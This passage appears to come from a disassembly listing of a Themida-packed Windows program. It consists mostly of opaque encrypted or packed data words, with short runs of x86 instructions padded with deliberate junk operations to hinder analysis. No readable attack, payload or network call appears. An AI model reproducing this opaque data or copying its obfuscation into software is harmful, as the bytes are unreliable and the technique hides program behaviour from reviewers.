		dd 23AD8CC2h, 607ECE58h, 46780F1Bh, 0DEFF66DEh,	893BA896h
		dd 58AE1620h, 3D47FBB0h, 0F5000000h, 72169F37h,	30947EEDh
		dd 77EECFC9h, 31E87713h, 9AC93094h, 0AD6CF3BBh,	56C93094h
		dd 0D1EF76EEh, 3953CA72h, 0EA64D842h, 44D08591h, 9F0A95F1h
		dd 28C93094h, 0CE34A009h, 86000000h, 4B82B15h, 0B2F4BC9Dh
		dd 6CF3971Eh, 0CF74A112h, 0BC291773h, 2FB09108h, 0C2EC886Ch
		dd 3663A459h, 21574238h, 86B82100h, 300EA71Dh, 2F950ED3h
		dd 2FB697B6h, 0EBAD04B0h, 0D45E25C2h, 0EF46FE67h, 0E88C09A9h
		dd 0C477E88Ch, 4DC2EBACh, 231D6BD9h, 0A4851CC0h, 3552CD85h
		dd 0B6C9352Ch, 0A997F397h, 3B1A8339h, 22FCF5A4h, 0BB219EC9h
		dd 3DA4ECCDh, 0F7A23D59h, 0C2C922FCh, 22FD9E5Dh, 780E2FC9h
		dd 0B62F1159h, 8BEF970Eh, 76EF4DB5h, 0BA641F57h, 0A91F8D25h
		dd 0A283A23Bh, 59C6A2C6h, 0C922FDA2h, 29D04F2Bh, 0A2C922FDh
		dd 75EAA283h, 0CF6C7D54h, 9646BD83h, 0ED89A8DEh, 0AC631689h
		dd 5A64C2EBh, 0C1E079EBh, 0FC68DEE0h, 0A50C4465h, 129B3717h
		dd 0CE8D1276h, 0FFC93093h, 67FE66C1h, 4B2F6746h, 0BB1112Fh
		dd 64FBB392h, 0CF7A1443h, 5C38A180h, 7EE77E2Eh,	0F2CCCF3Dh
		dd 96B72E8Eh, 0C183E0DEh, 77ED5668h, 0F0E171EEh, 0EF5428A2h
		dd 6FD2EC75h, 453E54CDh, 532863D9h, 950E30C7h, 1E88B62Fh
		dd 3F1E3FA6h, 68DC4977h, 8BD7A5C1h, 138D9B7Dh, 5EC775EDh
		dd 28165E7Fh, 0AE9009BBh, 2C128B31h, 0A09E07B5h, 49029B41h
		dd 6C14E832h, 0B52E0B17h, 2B98A60Fh, 0BB420B9h,	6000000h
		dd 18BD2B15h, 5D1534A8h, 0D54FD765h, 63C0FE67h,	0DB4678E1h
		dd 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h, 5AC6F861h
		dd 0E1457BE2h, 68EDFA63h, 535Eh, 56241489h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		push	ebp
		mov	ebp, 0C821CF7h
		mov	edi, ebp
		pop	ebp
		mov	ebx, 0ACB636Ch
		xor	ebx, edi
		pop	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		sub	edx, 2F4B70F9h
		add	edx, edi
		add	edx, 2F4B70F9h
		mov	[edx], ebx
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		db 0C6h, 0DCh, 3Fh
		dd 1DEF3D06h, 0E98EB612h, 61B8B4F2h, 3064984h, 9FE0FFC5h
		dd 8B7A448Ah, 0AC40B83Dh, 8D0E8256h, 49860E8Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 60FB01A3h, 6696D680h, 9A80E181h, 6E961h, 1D4A0000h
		dd 0A7CA855Fh, 2F5D8D89h, 6A0644h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 1AE488C3h, 0FCC28B66h
		dd 67985C7h, 68400644h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0C1BC55C3h, 0C98D8990h
		dd 0C7064430h, 44107185h, 6, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 4E1E89F9h
		dd 0B70F0FAAh, 1D9589C6h, 0FF06441Fh, 441C9DB5h, 0F99D8906h
		dd 0FF06441Dh, 440BF995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B58BFAB3h
		dd 6442C79h, 49E08166h,	0FF006ACAh, 441C4D95h, 0EBC08B06h
		dd 19D9DD4Fh, 9DAF6C8Ah, 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh
		dd 8FF5E9CBh, 50AF8978h, 1C1D0938h, 6F4F318Ah, 0E2868CAEh
		dd 0A597F3E1h, 275AA88Fh, 0E9FE33CFh, 0A5365842h, 153D0438h
		dd 0EA26CE95h, 2FE9958Eh, 0F48F2143h, 4DAE1E69h, 0E9EAB6Eh
		dd 13CE9h, 4Fh dup(0)
		dd 0A1BD8300h, 106442Dh, 516840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8A0F6DC3h
		dd 9, 0BB616060h, 1C58FFD9h, 0E985C661h, 43064402h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1CC35141h, 0EFE955E6h
		dd 60512A09h, 0BE9h, 6558A700h,	4D5ACE41h, 23720762h, 6AC08166h
		dd 0CE961CDh, 0EC000000h, 3988E994h, 0CEA69C18h, 0E8859DF1h
		dd 4, 0ECA5D0F5h, 8F0F5250h, 6,	820Fh, 310F0000h, 860F60h
		dd 8A000000h, 585A61CEh, 61606050h, 8B6130B2h, 0E9042444h
		dd 6, 0ABB93A57h, 8B7023h, 0CA8B6660h, 64F6BA66h, 24448961h
		dd 10E904h, 1D100000h, 3916199Dh, 32CB76AEh, 920A198h
		dd 0FC58B915h, 0E9B5FFF8h, 0E9064417h
		db 0Fh,	0
word_594F42	dw 0			; DATA XREF: ___:off_4384A0o
		dd 0C175BA8Dh, 9633670Fh, 0FBD675F1h, 8DB40441h, 4777AF85h
		dd 0F516006h, 86h, 810F5B00h, 2, 0FF6123B5h, 9E9D0h, 319E0000h
		dd 37662C3Bh, 890C3D25h, 44299185h, 8E906h, 29F30000h
		dd 47BD643Bh, 840F737Ch, 19h, 14E9h, 96711B00h,	78D93A77h
		dd 2D63EF23h, 0F1C1004h, 59816F88h, 0E985C6BBh,	50064402h
		dd 13E9h, 0A404B100h, 33E2184Fh, 7B092EA3h, 39EA62Ch, 0E63B4369h
		dd 11E9h, 2831ED00h, 3F743E4Ah,	0FE7A6D2Eh, 0F343E152h
		dd 0EE687559h, 0E9488FB6h, 0Dh,	7B182EB0h, 0B83DF94Dh
		dd 0EBF114DEh, 24048140h, 601DF668h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 69C35747h, 9B2838B9h, 12E9CEh
		dd 4A9F0000h, 2043209Bh, 4992795Bh, 6FEC608h, 7C3611CEh
		dd 17E9B5FFh, 8E0F0644h, 16h, 11E9h, 180E1500h,	9B4E315Bh
		dd 58ACF4A4h, 0CD0A29F0h, 858D6CC3h, 64777AFh, 6AD0FFFCh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 89A3C353h, 441C7185h, 0E168FC06h,	0E9DEEA15h
		dd 0Ah,	84A84972h, 0CC4470DFh, 4817CFFh, 0A5924E24h, 0BE911h
		dd 7E430000h, 9C9CCEABh, 526E620Ah, 0E9B5FFB1h,	0F5064417h
		dd 0AF858DFCh, 60064777h, 605004B6h, 0FF615E61h, 8589F9D0h
		dd 6442FA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	5CC35242h, 0C6F53CB5h, 4402E985h, 810F5006h, 1
		dd 13850FF9h, 0E9000000h, 0Eh, 2D6B5A14h, 3FF77A1Ch, 339F5CBh
		dd 0A26836F2h, 0F8222AEh, 0D86h, 8E900h, 0D1250000h, 6D6E9796h
		dd 48155BAh, 7A2DB424h,	0B5FFF815h, 6442D7Dh, 0B8A0Fh
		dd 6E90000h, 0F3000000h, 0AC7D8247h, 7E9B3h, 38EF0000h
		dd 0CBB0BB8Eh, 65858D24h, 0F06443Ah, 0C83h, 68D0F00h, 0F000000h
		dd 87h,	0F8D0FF00h, 0D718589h, 6A0644h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0F2E701C3h
		dd 88522FF2h, 10E978h, 0DFB10000h, 10CED787h, 98C99366h
		dd 0F99127Eh, 0F8FC092Fh, 1B7E9h, 1A850F00h, 60000000h
		dd 0EE9h, 11242700h, 44B6684Ch,	3E8CA6BAh, 66719546h, 0C4ED181h
		dd 66609561h, 14E9D38Bh, 0B1000000h, 0EDD8464Bh, 20703B25h
		dd 0CC3C0BCEh, 0FDE4F1F7h, 61A2BC60h, 5E950h, 99420000h
		dd 9571BFDFh, 2870F60h,	51000000h, 0D98B665Bh, 0FEC8B61h
		dd 0C87h, 68B0F00h, 0F000000h, 81h, 0FCC48300h,	0E8F78B60h
		dd 8, 0DC4C2564h, 0FAF8A8FDh, 5ACEB70Fh, 0F606061h, 485h
		dd 29BB6600h, 0DABF0F11h, 0E861h, 815A0000h, 498BA8EAh
		dd 0FC45C706h, 0
		dd 2DA1BA83h, 0F010644h, 9884h,	6A5200h, 92FF0F6Ah, 6442991h
		dd 6782895Ah, 8D064986h, 49866B9Ah, 3C75206h, 128h, 92FF5053h
		dd 6441C71h, 9A8D525Ah,	649866Bh, 67B2FF53h, 0FF064986h
		dd 440D7192h, 0C00B5A06h, 9A8D5074h, 649866Bh, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 49BA8D0Ch, 8B064426h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 44264982h, 92FF5006h, 6442FA1h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9D269BC0h, 0C860Fh, 7E90000h, 0AD000000h
		dd 66C33FBFh, 0E960B49Ch, 9, 0D65E8858h, 974AF39Eh, 3800FB2h
		dd 66000000h, 6061F18Bh, 10E95B51h, 22000000h, 3DCF511Eh
		dd 0BA8854BEh
dword_595368	dd 0A683E6A2h, 613E3B3Bh, 11ECD28Bh, 481DE95Ch,	0AC6BA530h
					; DATA XREF: Themida_:00544911o
		dd 7325F1C5h, 374005D1h, 72F979ADh, 8757FF7Ch, 8730823Fh
		dd 263F3041h, 7A67470Ah, 8A42237Eh, 31A41F6Dh, 1BF53F7Dh
		dd 5D38307Ch, 34F4627Ch, 170E307Ch, 0BE5DF326h,	0B6871428h
		dd 2DC51438h, 75E0307Ch, 2A62F32Eh, 0BB323E6Bh,	0DEE2BBDEh
		dd 370E33B4h, 0B4F08773h, 73B279C1h, 0B3CE307Ah, 37E0303Eh
		dd 37703794h, 0D57F237Ch, 990D6624h, 370E3995h,	62557A7Ch
		dd 9A73CC41h, 0DE9E33C9h, 37E033E4h, 0DF233016h, 3738307Fh
		dd 6CDF6B5Ch, 332A6CF5h, 332374FDh, 37833065h, 1902633Fh
		dd 8468A38Bh, 0B2FDCCEBh, 3171BC94h, 359E3F85h,	0BD0E307Ch
		dd 8D61A0ACh, 51D3E094h, 5D51CAF7h, 3408627Ch, 1770307Ch
		dd 0BE62F326h, 0B6181428h, 230A1438h, 7507307Ch, 0BAB4F32Eh
		dd 7E4DFAF9h, 65E05A7Ah, 37703394h, 0F462107Ch,	1348B926h
		dd 134AB178h, 37072478h, 0F4D1727Ch, 91BB127h, 67971830h
		dd 37702495h, 0C2F2937Ch, 44A1885Eh, 0A8461721h, 0F63A803h
		dd 0E8C34B51h, 13C5B920h, 0DFB03016h, 3770307Fh, 6FFB685Ch
		dd 333874F5h, 332A74FDh, 37073060h, 0B040603Ch,	0A770E2FCh
		dd 0C848EAEEh, 6AAAB11Ah, 36ADCFBFh, 0CB1A7460h, 75B7F0F7h
		dd 51045B67h, 8A00C3F7h, 318510B1h, 0B4E9457Ch,	737B15C1h
		dd 2E4C307Ah, 0F797632Ch, 370A4AC4h, 0C282B97Ch, 0BA85747Eh
		dd 71697FE1h, 6C33CF7Ah, 12CDB324h, 373E7477h, 644C2708h
		dd 370A4AC4h, 0C282B97Ch, 0BA85747Eh, 71640EE1h, 6C33CF7Ah
		dd 31F33F24h, 0B638307Ch, 0D059B68Bh, 670E5A23h, 37073394h
		dd 0F4DB107Ch, 1385B924h, 13A4B178h, 37702D78h,	0F468707Ch
		dd 9D27376Dh, 97028A96h, 8C67DEE0h, 0CE4693Dh, 0FD4A561Dh
		dd 378AF0F7h, 3773D82Fh, 6C18307Ch, 6B956BBFh, 738F3458h
		dd 371E3458h, 64C0307Ch, 4FDE32BFh, 511DE9C5h, 0AAFDCEF7h
		dd 3171BCAEh, 0DF4A3016h, 370E307Fh, 69C46E5Ch,	33A744F5h
		dd 33E574FDh, 37E03068h, 2CB3663Ah, 0AD2B11Ah, 1D99BD6Dh
		dd 5D087905h, 34EF657Ch, 1783307Ch, 0BE9CF321h,	0B6E41410h
		dd 2D741438h, 7238307Ch, 4676F329h, 703DF64Bh, 5DD7CF3Eh
		dd 346B607Ch, 17C1307Ch, 0BEB8F324h, 0B6741438h, 2F3C1438h
		dd 771C307Ch, 951EF32Ch, 51AEC7E8h, 0F788E7F7h,	37BFB473h
		dd 378A307Ch, 3773D82Fh, 6C18307Ch, 6B956BBFh, 738F3458h
		dd 37113458h, 64C0307Ch, 8AD067BFh, 8E86DEF6h, 0AAFD5532h
		dd 317C7E29h, 0DF493016h, 370E307Fh, 6AC46D5Ch,	33A75CF5h
		dd 33E574FDh, 37E03067h, 87B36539h, 0E49CE8EBh,	0B76FF5C3h
		dd 34B6F2A5h, 8D07307Ch, 55F7917Bh, 0B6A7D383h,	0DF5A1593h
		dd 37703074h, 7A57B4C4h, 0F3D06B59h, 370E3A95h,	10EE6D7Ch
		dd 1849ADA8h, 68413CE6h, 0BB3AADF1h, 0B6163635h, 0BA01B795h
		dd 7E651AF9h, 7CE7B17Ah, 0C86DF0AFh, 3F073FACh,	38C1307Ch
		dd 37E032F2h, 3C2F637Ch, 6BBC3FBCh, 661C307Ch, 0AA836F89h
		dd 31437E29h, 0AF42B11Ah, 37C08877h, 378A307Ch,	3773D82Ah
		dd 6918307Ch, 43956EBFh, 738F3458h, 37133458h, 61C5307Ch
		dd 5197A7BFh, 0C8BFC9F7h, 61705A9Fh, 37383394h,	0F442107Ch
		dd 137AB922h, 1343B178h, 37832D78h, 0F497767Ch,	3ED9FB2Fh
		dd 2A7AE970h, 0BAC1CAE3h, 7E90EFE1h, 7018E7Ah, 0B28A5B7Bh
		dd 31CA4956h, 0DF963016h, 37E0307Fh, 68B36F5Ch,	331C4CF5h
		dd 333874FDh, 370E306Ah, 0DCC4673Bh, 306A808Dh,	85C1307Ch
		dd 401D9Bh, 807F4ED3h, 0B6E8CF84h, 3EFE55ADh, 0FE8F561Ah
		dd 0F70C97DBh, 37BDB473h, 0CD4A307Ch, 79B5ADF1h, 0B6163638h
		dd 389C29A2h, 371C32FAh, 8FFEBB7Ch, 3707307Fh, 923B561Ch
		dd 80D68FEEh, 0C8816C26h, 3775D99Fh, 9B5B307Ch,	0DEE99765h
		dd 370E3074h, 4B73D5DEh, 4D990A92h, 62C15A3Fh, 37E03394h
		dd 0F42D107Ch, 1354B921h, 1358B178h, 370E2678h,	0F452757Ch
		dd 381B94C3h, 8A4CFACBh, 31A9BCB4h, 0A65CBDF1h,	4A803635h
		dd 4967B20h, 731735F9h,	0F6C81B7Ah, 0ADF13295h,	3635BB3Ah
		dd 0B795B616h, 1AF9BA01h, 0B17A7E65h, 0F0AF7CE7h, 0E983C86Dh
		dd 8BA4F305h, 1A820FC0h, 0E8000000h, 13h, 0BDC699FBh, 0B830B4E1h
		dd 2739115Bh, 684C1124h, 0F9BA44B6h, 12E95Eh, 7F050000h
		dd 304B7BEEh, 0DC748509h, 0B156B805h, 0C0DF142Ch, 11E8C38Bh
		dd 4D000000h, 8B586D34h, 0B85D627h, 0A449C6EDh,	0AAE07272h
		dd 594EEE80h, 61DA8B60h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0BCDE50C3h, 0C1E53180h
		dd 66D3211Fh, 890FFA8Bh, 5, 0D6E78166h,	0CDBD8391h, 64420h
		dd 0BD830975h, 6440B25h, 50197400h, 0B8C08B53h,	47Ah, 22298589h
		dd 9D8D0644h, 646A8B6h,	585BD3FFh, 0B25BD83h, 74000644h
		dd 0B8535017h, 47Ah, 22298589h,	9D8D0644h, 646A557h, 585BD3FFh
		dd 0A1B109BAh, 77EF814Ch, 8B79A285h, 18D8DC0h, 6A064993h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 1A29C355h, 5D8D89D7h, 0E906442Fh,	0Ch, 244E307Ah
		dd 0E3E4EF8Eh, 1E6A4F86h, 67985C7h, 5BD40644h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 1AEE9CC3h, 32B532D6h, 7E81BD2h, 81000000h, 897B9476h
		dd 10E91838h, 0A0000000h, 5D8BFEC5h, 5DF4230Fh,	0D8EECA32h
		dd 58319D85h, 107185C7h, 644h, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 34C536C3h
		dd 3E4396E5h, 0B5FF3F33h, 6441649h, 0B2539DBFh,	0F995FF10h
		dd 0F906440Bh, 95FF006Ah, 6441C4Dh, 2DEBC08Bh, 0AD42E34h
		dd 0E432BF8Ah, 9162904h, 0ACEDE973h, 15DCA483h,	6BEF5BFEh
		dd 0BE9585A0h, 0F89187Ch, 3273BC9Fh, 11929170h,	0DD8EA212h
		dd 0FF8D8DA5h, 6A064993h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0FA61C352h,	0E44D7C29h
		dd 8529FA49h, 6443265h,	2F5D8D89h, 6A0644h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0A45F76C3h
		dd 67985C7h, 5E100644h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 7DD66FC3h, 0C7C0EAD8h
		dd 44107185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0B24655B5h, 0A49B5FFh
		dd 0B58B0644h, 64420A9h, 235B58Bh, 95FF0644h, 6440BF9h
		dd 2FA58589h, 6A0644h, 1C4D95FFh, 0C08B0644h, 623329EBh
		dd 0A61A1EFDh, 4DCA0B6Ch, 0AB8BDCD2h, 487E8E85h, 0DA4FF69Ch
		dd 0B595A243h, 533B3EFBh, 0EAC41C57h, 86CB5AF4h, 0E8BC7067h
		dd 0Bh,	97EB1B8h, 6F100D2Bh, 66512959h,	588CF3B9h, 0ABEC06BAh
		dd 0B8C0816Eh, 81000075h, 8B78CFC2h, 1D44681Bh,	958B0000h
		dd 6440675h, 118D895Bh,	0FF06440Bh, 45BE6630h, 81665F7Ch
		dd 81F6DEF6h, 2C8A74F7h, 5DB52964h, 81064428h, 211306F7h
		dd 6DB58B59h, 81064415h, 3A5FD4F7h, 0E8E0F48h, 60000000h
		dd 1A558D89h, 840F0644h, 0
		dd 31388961h, 441D119Dh, 2E88306h, 6800Fh, 95010000h, 6442C0Dh
		dd 830F4848h, 7, 18B0Fh, 4BF80000h, 0FF95850Fh,	860FFFFFh
		dd 8, 93D68156h, 5958EB47h, 15CE9h, 181D6F00h, 49EBF1h
		dd 125AA497h, 1954B10Bh, 1A54BD52h, 115A310Bh, 3A73CE52h
		dd 6826263Bh, 48277752h, 0FC7B53C5h, 2FB48861h,	5E160D52h
		dd 5E17D252h, 5E167D52h, 5E16BA52h, 5E165F52h, 5E16AF52h
		dd 5E16F852h, 5E16EB52h, 5E16FD52h, 5E16FA52h, 2D6F2E52h
		dd 5E7BDB26h, 31640F72h, 2D65CA31h, 5E16D70Fh, 5E16EB52h
		dd 5E16F552h, 5E16FA52h, 5E167D52h, 5E16BE52h, 5E165F52h
		dd 5E16AF52h, 5E16D752h, 5E16EB52h, 5E16F552h, 5E16FA52h
		dd 5E167D52h, 5E16BE52h, 5E165F52h, 5E16AF52h, 5E16D752h
		dd 5E16EB52h, 5E16F552h, 5E16FA52h, 5E167D52h, 5E16BE52h
		dd 5E165F52h, 5E16AF52h, 5E16D752h, 5E16EB52h, 5E16F552h
		dd 5E16FA52h, 5E167D52h, 5E16BE52h, 5E165F52h, 5E16AF52h
		dd 5E16D752h, 5E16EB52h, 5E16F552h, 5E16FA52h, 5E167D52h
		dd 5E16BE52h, 5E165F52h, 5E16AF52h, 5E16D752h, 5E16EB52h
		dd 5E16F552h, 5E16FA52h, 5E167D52h, 5E16BE52h, 5E165F52h
		dd 5E16AF52h, 5E16D752h, 5E16EB52h, 5E16F552h, 5E16FA52h
		dd 5E167D52h, 5E16BE52h, 5E165F52h, 5E16AF52h, 5E16D752h
		dd 5E16EB52h, 5E16F552h, 5E16FA52h, 5E167D52h, 69F98752h
		dd 16CDE945h, 0D7680000h, 0E9064997h, 0FFFBB220h, 4998BC68h
		dd 0B216E906h, 7368FFFBh, 0E9064999h, 0FFFBB20Ch, 499A4268h
		dd 0B202E906h, 6068FFFBh, 0E906499Ch, 0FFFBB1F8h, 499DC768h
		dd 0B1EEE906h, 0C468FFFBh, 0E906499Eh, 0FFFBB1E4h, 499F9E68h
		dd 0B1DAE906h, 0CD68FFFBh, 0E90649A1h, 0FFFBB1D0h, 49A29768h
		dd 0B1C6E906h, 3C68FFFBh, 0E90649A3h, 0FFFBB1BCh, 49A3B368h
		dd 0B1B2E906h, 3B68FFFBh, 0E90649A5h, 0FFFBB1A8h, 49AA5D68h
		dd 0B19EE906h, 7568FFFBh, 0E90649ABh, 0FFFBB194h, 76133488h
		dd 0A8CDEA55h, 7316318Bh, 0A9CCEB50h, 7510378Ah, 0FD40B961h
		dd 229CBFDAh, 0FA436005h, 239BB8DDh, 83E06104h,	62559127h
		dd 76F1A631h, 0F6CDEA52h, 2F4A6DD5h, 0FA995605h, 0E7A0215Eh
		dd 0FF9C003Dh, 654661DCh, 58C4FFD8h, 0D872D6EDh, 32316FE3h
		dd 86A96B93h, 0EA77F2C6h, 29h, 0C7A05B6Dh, 4589C7A4h, 387660h
		dd 9F48EC59h, 0A23DE73Ch, 0BA1053Eh, 0E1316F56h, 55781C40h
		dd 3B77F256h, 0AEh, 0CDEA52BCh,	4F68D5F6h, 0C8EF5774h
		dd 4F68D0F3h, 0CCF38E2Ah, 0BBD8372Bh, 2BC6A91Fh, 0A7128E37h
		dd 7E1B3C84h, 0A1C2E55Dh, 19A43C82h, 2C17A23Eh,	0F99A5306h
		dd 0E7CBFA5Dh, 41FEDD3Dh, 0DC4067D9h, 82E77BE7h, 5734F1A8h
		dd 0A1230AF3h, 0D2B12D3Bh, 4CF1D2B1h, 7379CF6Bh, 0A23E3BA1h
		dd 261D3A81h, 912C0FBAh, 4DF0D3B6h, 833FF86Ah, 99A25D6Eh
		dd 14771Ch, 1E398500h, 0C0E7587Bh, 1B3C86A5h, 0C1E65D7Eh
		dd 1D3A87A4h, 4DAC6C78h, 91B2D7F0h, 4E6D082Fh, 96B5D0F7h
		dd 0ED6C092Eh, 549C2A8Eh, 0F4A33162h, 0C8EF5273h, 11368EADh
		dd 0A05BF374h, 0D700A4C7h, 6A3DE7B6h, 0C369CDF6h, 29316FC8h
		dd 2D405488h, 377F2E0h,	0C7h, 0CDEA5284h, 4F68D5F6h, 90B70F2Ch
		dd 0DA6CC8ABh, 0DD372BC3h, 5368DD41h, 2BCC8AF7h, 0DE604337h
		dd 0EB5EC2F9h, 325770C8h, 0B58EA911h, 6C4BF5D6h, 46E01957h
		dd 0AA224793h, 0F2A98336h, 7552E9CAh, 0C076D24Eh, 0F7372B6Ch
		dd 0DA94F76Bh, 124CC8A9h, 0C5A6132Bh, 0E791C661h, 65F93Dh
		dd 0D5B66F2Ah, 0A14E9971h, 3D5EC23Bh, 0DF7BA31Eh, 3BA0C469h
		dd 0F2D56D4Eh, 1FA90D6Eh, 203BA0C4h, 664520BCh,	0B36EFCDBh
		dd 365D6F34h, 1392880Dh, 52EE0000h, 8C331075h, 57EDCEABh
		dd 8D361570h, 51ECCFAAh, 53071376h, 0D5B0972Ah,	0A6F48F6h
		dd 0D2B79029h, 0B6E49F1h, 0FB4DE98Ah, 0BC31625Bh, 0EF526CEBh
		dd 368EADC8h, 52F37411h, 0D5F6CDEAh, 67294A6Dh,	0BC8AE319h
		dd 0FD982D84h, 784364DEh, 0A1C4E35Bh, 0B6655B09h, 0AD3E9AF9h
		dd 2A3DE7C3h, 0B794B309h, 129F2A0Dh, 8A3078Eh, 8808E580h
		dd 147714D1h, 96AD8A37h, 681BBF0Ah, 0CFC0298Eh,	97426853h
		dd 4019BDDEh, 0EB39F61Eh, 0D3771477h, 3D727E65h, 1073C65Ah
		dd 0CFAC8B33h, 487354ECh, 270461D4h, 5B096A9Fh,	2056BF8Ch
		dd 10C52EBCh, 0DBE05BBDh, 12DB5Eh, 0BA9D2100h, 6443FCDFh
		dd 0BF982201h, 6542F9DAh, 0B99E2300h, 0E910C8DCh, 35167354h
		dd 0EAC9AC8Bh, 32117453h, 49C8AD8Ah, 5A388E2Ah,	0A8FF3162h
		dd 32EA522Fh, 0B08BAC11h, 0C33E882Ch, 9D01372Bh, 69103A01h
		dd 0AF8CEF8Ch, 0DB6DC911h, 0DC372BC3h, 0CD69DC40h, 3DE795C6h
		dd 0BB1410Fh, 7449F362h, 0B5D04CC1h, 32092E96h,	0ECCB7251h
		dd 0D4FE4BD7h, 8F2B4825h, 3BA6CC3Ah, 210261FDh,	9CBB0199h
		dd 0FE466500h, 11C8E2D9h, 0EE7255EBh, 0BABC298Dh, 5BC7316Ch
		dd 84A31B38h, 1FA182E1h, 9BA018EAh, 0CB57ABF2h,	0FAD96CF0h
		dd 25066542h, 0CD83B89Fh, 3DC7BE0Ch, 0DB8249Dh,	805D1C36h
		dd 80EC47E3h, 57CB2F3Fh, 0F87064C5h, 0B8EB548h,	120Ch
		dd 0EE8BAC10h, 305572CDh, 0EB8EA913h, 315473C8h, 0ED88AF12h
		dd 65D841F9h, 0BA042742h, 62DBF89Dh, 0BB032045h, 1B78F99Ch
		dd 625909BFh, 0FE792E31h, 0ADC8EF52h, 0BF09ADCEh, 80372BC3h
		dd 0D883A91Ch, 4F327C1Fh, 0D0F36256h, 6A2C174h,	3DE742B9h
		dd 0BCDFE478h, 0B67503F2h, 0F0BE9151h, 0BA949625h, 8DAE1BEFh
		dd 8A12AD35h, 0B4281334h, 0D4701328h, 316E5962h, 0C955C955h
		dd 10378FACh, 9D5A012Bh, 22ED5AFEh, 0AFCC3BA2h,	0A270BD0Bh
		dd 848F413Bh, 0B115503Ch, 67C3A03Ch, 3BA264D1h,	0DDE67AE6h
		dd 0FF72786h, 90F390B7h, 0A2648234h, 0EFBB53Bh,	6CF5A18Dh
		dd 76CBE874h, 43F66A51h, 904D0C26h, 4D6AD0F3h, 45F0D76Eh
		dd 0AC3D8226h, 0DFFC316Eh, 0F6C79164h, 9DC68F4h, 0AE32AE95h
		dd 290EB695h, 3B8D294Ah, 1225E6ADh, 0E6AC00B6h,	26AB3725h
		dd 7C340FBAh, 2003511Fh, 0F0668FB0h, 0F2813793h, 2AB625E6h
		dd 0DFE3E9Fh, 56F2914Eh, 2F2A88E9h, 523154C8h, 88239531h
		dd 0BA2E3Ah, 0D801C27h,	0BF072491h, 0AD07A398h,	242E3AF8h
		dd 55E3479Fh, 6A2E3A98h, 32516AF6h, 3A982096h, 0A88B172Eh
		dd 400E3512h, 0B87B96C8h, 60C1A952h, 76D7F53Ch,	863F1C46h
		dd 8F3714A1h, 56EECDA8h, 1B9C2A8Eh, 3FA32E3Ah, 7B298A3h
		dd 6E49F2D1h, 3A1B7CCAh, 7453ED2Eh, 9AF965F9h, 0F66EF93Eh
		dd 61049824h, 0AAC978C9h, 7E20B80Eh, 0B9317F28h, 8CED0A3Eh
		dd 75CDEE72h, 40F56952h, 95F6AF6Ah, 0B72B8C31h,	0A22BB722h
		dd 1BA43C81h, 6FD167C3h, 7AE612B5h, 5793DDE6h, 21D6838h
		dd 2D4ED24Eh, 0CB41B40Eh, 204F78F7h, 0B97AC30h,	8B2185BEh
		dd 4212B569h, 37F500Ch,	7CCCFF9Bh, 61ABE550h, 47E38001h
		dd 12B54FF1h, 0C5EF5AC6h, 7F58E616h, 0FED96744h, 59C559C5h
		dd 83A4193Ah, 6CF15536h, 97187CB0h, 0F34B680Bh,	2F94B7D4h
		dd 0FBD8BD08h, 7C5F6443h, 0CB74E6C1h, 7E7A0C12h, 0FEEC045h
		dd 8E320000h, 50EFCCA9h, 8B311277h, 51EAC9ACh, 8D301376h
		dd 1FDBCFAAh, 16443FEh,	0DEBB9C22h, 66344FDh, 0DFBA9D25h
		dd 2F993D5Eh, 1031625Fh, 0EF52C047h, 88E5ABC8h,	0C1543BF3h
		dd 466500B5h, 0D89E0BFEh
		dd 0FB799AD1h, 9A270467h, 103308BDh, 96B48FA8h,	0A71F0737h
		dd 0B9D4E580h, 977E36BAh, 1A4h,	496ED7F4h, 0DC5BEE72h
